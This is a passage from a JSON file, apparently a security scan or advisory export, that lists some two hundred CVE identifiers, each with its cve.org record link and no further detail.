          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5121"
        },
        {
          "name": "CVE-2026-39834",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39834"
        },
        {
          "name": "CVE-2025-1182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1182"
        },
        {
          "name": "CVE-2026-63073",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63073"
        },
        {
          "name": "CVE-2026-16241",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16241"
        },
        {
          "name": "CVE-2026-57914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57914"
        },
        {
          "name": "CVE-2026-65901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
        },
        {
          "name": "CVE-2022-40897",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
        },
        {
          "name": "CVE-2026-46595",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46595"
        },
        {
          "name": "CVE-2026-1485",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1485"
        },
        {
          "name": "CVE-2025-5372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5372"
        },
        {
          "name": "CVE-2026-9335",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9335"
        },
        {
          "name": "CVE-2026-119372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119372"
        },
        {
          "name": "CVE-2026-88648",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88648"
        },
        {
          "name": "CVE-2026-96639",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96639"
        },
        {
          "name": "CVE-2026-112395",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112395"
        },
        {
          "name": "CVE-2026-79921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79921"
        },
        {
          "name": "CVE-2026-6473",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
        },
        {
          "name": "CVE-2026-93569",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93569"
        },
        {
          "name": "CVE-2026-64607",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-64607"
        },
        {
          "name": "CVE-2026-33236",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
        },
        {
          "name": "CVE-2026-87864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87864"
        },
        {
          "name": "CVE-2026-93564",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93564"
        },
        {
          "name": "CVE-2026-104874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-104874"
        },
        {
          "name": "CVE-2026-93574",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93574"
        },
        {
          "name": "CVE-2026-72818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-72818"
        },
        {
          "name": "CVE-2026-2005",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
        },
        {
          "name": "CVE-2025-64329",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-64329"
        },
        {
          "name": "CVE-2026-71497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71497"
        },
        {
          "name": "CVE-2026-90804",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90804"
        },
        {
          "name": "CVE-2026-41992",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
        },
        {
          "name": "CVE-2026-92392",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92392"
        },
        {
          "name": "CVE-2025-1152",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1152"
        },
        {
          "name": "CVE-2026-24051",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
        },
        {
          "name": "CVE-2026-90829",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90829"
        },
        {
          "name": "CVE-2025-11082",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11082"
        },
        {
          "name": "CVE-2026-55443",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
        },
        {
          "name": "CVE-2026-65900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
        },
        {
          "name": "CVE-2026-66010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
        },
        {
          "name": "CVE-2026-53802",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53802"
        },
        {
          "name": "CVE-2025-48060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48060"
        },
        {
          "name": "CVE-2026-7383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
        },
        {
          "name": "CVE-2026-70458",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70458"
        },
        {
          "name": "CVE-2026-39825",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39825"
        },
        {
          "name": "CVE-2026-39821",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39821"
        },
        {
          "name": "CVE-2024-6104",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-6104"
        },
        {
          "name": "CVE-2026-44825",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44825"
        },
        {
          "name": "CVE-2026-45674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45674"
        },
        {
          "name": "CVE-2026-55831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
        },
        {
          "name": "CVE-2026-33846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
        },
        {
          "name": "CVE-2025-14512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14512"
        },
        {
          "name": "CVE-2026-9669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9669"
        },
        {
          "name": "CVE-2026-44690",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44690"
        },
        {
          "name": "CVE-2026-1502",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1502"
        },
        {
          "name": "CVE-2026-27144",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
        },
        {
          "name": "CVE-2026-4360",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4360"
        },
        {
          "name": "CVE-2026-80230",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80230"
        },
        {
          "name": "CVE-2026-48743",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48743"
        },
        {
          "name": "CVE-2025-1149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1149"
        },
        {
          "name": "CVE-2026-59949",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59949"
        },
        {
          "name": "CVE-2025-4877",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4877"
        },
        {
          "name": "CVE-2026-58012",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58012"
        },
        {
          "name": "CVE-2026-56865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56865"
        },
        {
          "name": "CVE-2026-59881",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59881"
        },
        {
          "name": "CVE-2021-3393",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-3393"
        },
        {
          "name": "CVE-2026-19534",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19534"
        },
        {
          "name": "CVE-2026-22795",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22795"
        },
        {
          "name": "CVE-2026-32283",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
        },
        {
          "name": "CVE-2026-0988",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0988"
        },
        {
          "name": "CVE-2025-61727",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
        },
        {
          "name": "CVE-2026-86413",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86413"
        },
        {
          "name": "CVE-2026-26311",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26311"
        },
        {
          "name": "CVE-2026-11822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
        },
        {
          "name": "CVE-2026-70626",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70626"
        },
        {
          "name": "CVE-2026-42014",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42014"
        },
        {
          "name": "CVE-2026-59890",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
        },
        {
          "name": "CVE-2025-27613",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-27613"
        },
        {
          "name": "CVE-2026-82717",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82717"
        },
        {
          "name": "CVE-2026-0799",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0799"
        },
        {
          "name": "CVE-2025-6297",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6297"
        },
        {
          "name": "CVE-2026-63311",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63311"
        },
        {
          "name": "CVE-2026-113602",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-113602"
        },
        {
          "name": "CVE-2026-79675",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79675"
        },
        {
          "name": "CVE-2026-77422",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77422"
        },
        {
          "name": "CVE-2026-11850",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11850"
        },
        {
          "name": "CVE-2024-28180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-28180"
        },
        {
          "name": "CVE-2025-65637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-65637"
        },
        {
          "name": "CVE-2026-45409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
        },
        {
          "name": "CVE-2026-27136",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27136"
        },
        {
          "name": "CVE-2026-93576",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93576"
        },
        {
          "name": "CVE-2026-14164",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14164"
        },
        {
          "name": "CVE-2026-0861",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0861"
        },
        {
          "name": "CVE-2026-14456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14456"
        },
        {
          "name": "CVE-2026-119374",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119374"
        },
        {
          "name": "CVE-2026-56860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
        },
        {
          "name": "CVE-2026-25542",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25542"
        },
        {
          "name": "CVE-2026-47774",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47774"
        },
        {
          "name": "CVE-2026-80274",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80274"
        },
        {
          "name": "CVE-2026-6368",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6368"
        },
        {
          "name": "CVE-2026-1703",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1703"
        },
        {
          "name": "CVE-2026-61801",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-61801"
        },
        {
          "name": "CVE-2026-25645",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25645"
        },
        {
          "name": "CVE-2026-49265",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49265"
        },
        {
          "name": "CVE-2026-112390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112390"
        },
        {
          "name": "CVE-2026-21860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-21860"
        },
        {
          "name": "CVE-2026-14457",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14457"
        },
        {
          "name": "CVE-2025-13281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13281"
        },
        {
          "name": "CVE-2026-15534",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15534"
        },
        {
          "name": "CVE-2026-49458",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
        },
        {
          "name": "CVE-2026-71513",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71513"
        },
        {
          "name": "CVE-2026-78410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78410"
        },
        {
          "name": "CVE-2026-10536",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-10536"
        },
        {
          "name": "CVE-2026-97399",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97399"
        },
        {
          "name": "CVE-2026-80047",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80047"
        },
        {
          "name": "CVE-2026-79674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79674"
        },
        {
          "name": "CVE-2026-3479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3479"
        },
        {
          "name": "CVE-2026-12261",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12261"
        },
        {
          "name": "CVE-2026-53784",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53784"
        },
        {
          "name": "CVE-2026-0847",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0847"
        },
        {
          "name": "CVE-2026-44249",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
        },
        {
          "name": "CVE-2026-41991",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
        },
        {
          "name": "CVE-2026-96640",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96640"
        },
        {
          "name": "CVE-2026-77860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77860"
        },
        {
          "name": "CVE-2026-8932",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8932"
        },
        {
          "name": "CVE-2026-39883",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
        },
        {
          "name": "CVE-2026-91780",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91780"
        },
        {
          "name": "CVE-2025-5915",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5915"
        },
        {
          "name": "CVE-2026-4424",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4424"
        },
        {
          "name": "CVE-2026-76825",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76825"
        },
        {
          "name": "CVE-2025-5917",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5917"
        },
        {
          "name": "CVE-2026-95818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95818"
        },
        {
          "name": "CVE-2026-6879",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6879"
        },
        {
          "name": "CVE-2026-45186",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45186"
        },
        {
          "name": "CVE-2026-96231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96231"
        },
        {
          "name": "CVE-2026-48978",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48978"
        },
        {
          "name": "CVE-2024-51744",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-51744"
        },
        {
          "name": "CVE-2026-78681",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78681"
        },
        {
          "name": "CVE-2026-77412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77412"
        },
        {
          "name": "CVE-2026-93561",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93561"
        },
        {
          "name": "CVE-2026-32281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
        },
        {
          "name": "CVE-2026-75596",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
        },
        {
          "name": "CVE-2026-12074",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12074"
        },
        {
          "name": "CVE-2026-45571",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45571"
        },
        {
          "name": "CVE-2026-107929",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107929"
        },
        {
          "name": "CVE-2026-8763",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
        },
        {
          "name": "CVE-2026-1839",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1839"
        },
        {
          "name": "CVE-2026-12876",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12876"
        },
        {
          "name": "CVE-2026-27142",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27142"
        },
        {
          "name": "CVE-2026-75140",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75140"
        },
        {
          "name": "CVE-2026-90801",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90801"
        },
        {
          "name": "CVE-2026-18408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18408"
        },
        {
          "name": "CVE-2026-45022",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45022"
        },
        {
          "name": "CVE-2026-40356",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40356"
        },
        {
          "name": "CVE-2026-0966",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0966"
        },
        {
          "name": "CVE-2024-45338",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-45338"
        },
        {
          "name": "CVE-2026-41989",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41989"
        },
        {
          "name": "CVE-2026-50243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50243"
        },
        {
          "name": "CVE-2025-2999",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2999"
        },
        {
          "name": "CVE-2026-28389",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
        },
        {
          "name": "CVE-2026-42504",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
        },
        {
          "name": "CVE-2026-56412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56412"
        },
        {
          "name": "CVE-2026-59199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
        },
        {
          "name": "CVE-2025-10966",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-10966"
        },
        {
          "name": "CVE-2024-36124",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-36124"
        },
        {
          "name": "CVE-2026-53878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53878"
        },
        {
          "name": "CVE-2024-10977",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10977"
        },
        {
          "name": "CVE-2025-50182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-50182"
        },
        {
          "name": "CVE-2026-54478",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54478"
        },
        {
          "name": "CVE-2026-80205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80205"
        },
        {
          "name": "CVE-2026-17495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-17495"
        },
        {
          "name": "CVE-2025-47906",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
        },
        {
          "name": "CVE-2026-48864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
        },
        {
          "name": "CVE-2026-65182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
        },
        {
          "name": "CVE-2026-56858",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
        },
        {
          "name": "CVE-2026-115207",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115207"
        },
        {
          "name": "CVE-2025-9906",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9906"
        },
        {
          "name": "CVE-2026-88647",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88647"
        },
        {
          "name": "CVE-2026-47778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47778"
        },
        {
          "name": "CVE-2025-59375",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
        },
        {
          "name": "CVE-2026-95619",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95619"
        },
        {
          "name": "CVE-2026-82720",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82720"
        },
        {
          "name": "CVE-2026-34040",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34040"
        },
        {
          "name": "CVE-2026-94439",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94439"
        },
        {
          "name": "CVE-2026-116587",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116587"
        },
        {
          "name": "CVE-2026-95512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95512"
        },
        {
          "name": "CVE-2026-7666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7666"
        },
        {
          "name": "CVE-2026-12003",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12003"
        },
        {
          "name": "CVE-2026-94448",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94448"
        },
        {
          "name": "CVE-2026-35206",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35206"
        },
        {
          "name": "CVE-2026-56855",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56855"
        },
        {
          "name": "CVE-2026-53615",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53615"
        },
        {
          "name": "CVE-2026-15588",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15588"
        },
        {
          "name": "CVE-2026-59850",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59850"
        },
        {
          "name": "CVE-2026-92389",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92389"
        },
        {
          "name": "CVE-2026-71889",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71889"
        },
        {
          "name": "CVE-2026-90711",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90711"
        },
        {
          "name": "CVE-2026-5450",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
        },
        {
          "name": "CVE-2026-53785",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53785"
        },
        {
          "name": "CVE-2026-50195",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50195"
        },
        {
          "name": "CVE-2025-50181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-50181"
        },
        {
          "name": "CVE-2026-19499",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19499"
        },
        {
          "name": "CVE-2026-59903",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
        },
        {
          "name": "CVE-2026-19385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19385"
        },
        {
          "name": "CVE-2026-112943",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112943"
        },
        {
          "name": "CVE-2026-8404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8404"
        },
        {
          "name": "CVE-2026-11856",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11856"
        },
        {
          "name": "CVE-2025-66382",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66382"
        },
        {
          "name": "CVE-2026-5260",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
        },
        {
          "name": "CVE-2026-56746",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
        },
        {
          "name": "CVE-2026-42009",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
        },
        {
          "name": "CVE-2026-103119",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103119"
        },
        {
          "name": "CVE-2026-116566",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116566"
        },
        {
          "name": "CVE-2026-33948",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33948"
        },
        {
          "name": "CVE-2026-84838",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84838"
        },
        {
          "name": "CVE-2025-69421",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69421"
        },
        {
          "name": "CVE-2026-54059",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
        },
        {
          "name": "CVE-2025-12781",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12781"
        },
        {
          "name": "CVE-2026-40225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40225"
        },
        {
          "name": "CVE-2026-89157",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89157"
        },
        {
          "name": "CVE-2026-69651",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69651"
        },
        {
          "name": "CVE-2025-58188",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
        },
        {
          "name": "CVE-2018-1000021",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-1000021"
        },
        {
          "name": "CVE-2026-93492",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93492"
        },
        {
          "name": "CVE-2025-1178",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1178"
        },
        {
          "name": "CVE-2026-77214",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77214"
        },
        {
          "name": "CVE-2026-34478",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
        },
        {
          "name": "CVE-2025-8747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8747"
        },
        {
          "name": "CVE-2026-107725",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107725"
        },
        {
          "name": "CVE-2024-40635",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-40635"
        },
        {
          "name": "CVE-2026-53488",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53488"
        },
        {
          "name": "CVE-2026-44777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44777"
        },
        {
          "name": "CVE-2025-4674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
        },
        {
          "name": "CVE-2025-30258",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-30258"
        },
        {
          "name": "CVE-2026-6873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6873"
        },
        {
          "name": "CVE-2026-93451",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93451"
        },
        {
          "name": "CVE-2025-1176",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1176"
        },
        {
          "name": "CVE-2026-50162",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50162"
        },
        {
          "name": "CVE-2026-56391",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56391"
        },
        {
          "name": "CVE-2026-57433",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57433"
        },
        {
          "name": "CVE-2024-56406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-56406"
        },
        {
          "name": "CVE-2026-77420",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77420"
        },
        {
          "name": "CVE-2026-4660",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4660"
        },
        {
          "name": "CVE-2026-93558",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93558"
        },
        {
          "name": "CVE-2026-81727",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81727"
        },
        {
          "name": "CVE-2026-111752",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111752"
        },
        {
          "name": "CVE-2026-39820",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
        },
        {
          "name": "CVE-2026-55380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
        },
        {
          "name": "CVE-2026-34480",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
        },
        {
          "name": "CVE-2026-105769",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-105769"
        },
        {
          "name": "CVE-2026-34501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34501"
        },
        {
          "name": "CVE-2026-56854",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56854"
        },
        {
          "name": "CVE-2026-84303",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
        },
        {
          "name": "CVE-2025-5278",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5278"
        },
        {
          "name": "CVE-2024-56433",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-56433"
        },
        {
          "name": "CVE-2026-48587",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48587"
        },
        {
          "name": "CVE-2026-73180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
        },
        {
          "name": "CVE-2026-87861",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87861"
        },
        {
          "name": "CVE-2025-48384",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48384"
        },
        {
          "name": "CVE-2025-49506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49506"
        },
        {
          "name": "CVE-2025-47911",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47911"
        },
        {
          "name": "CVE-2025-5318",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5318"
        },
        {
          "name": "CVE-2026-39819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39819"
        },
        {
          "name": "CVE-2026-34986",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
        },
        {
          "name": "CVE-2026-55990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55990"
        },
        {
          "name": "CVE-2026-112060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112060"
        },
        {
          "name": "CVE-2026-92386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92386"
        },
        {
          "name": "CVE-2026-58010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58010"
        },
        {
          "name": "CVE-2026-62243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62243"
        },
        {
          "name": "CVE-2026-26958",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26958"
        },
        {
          "name": "CVE-2026-96512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96512"
        },
        {
          "name": "CVE-2026-61712",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-61712"
        },
        {
          "name": "CVE-2026-14662",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14662"
        },
        {
          "name": "CVE-2026-114406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114406"
        },
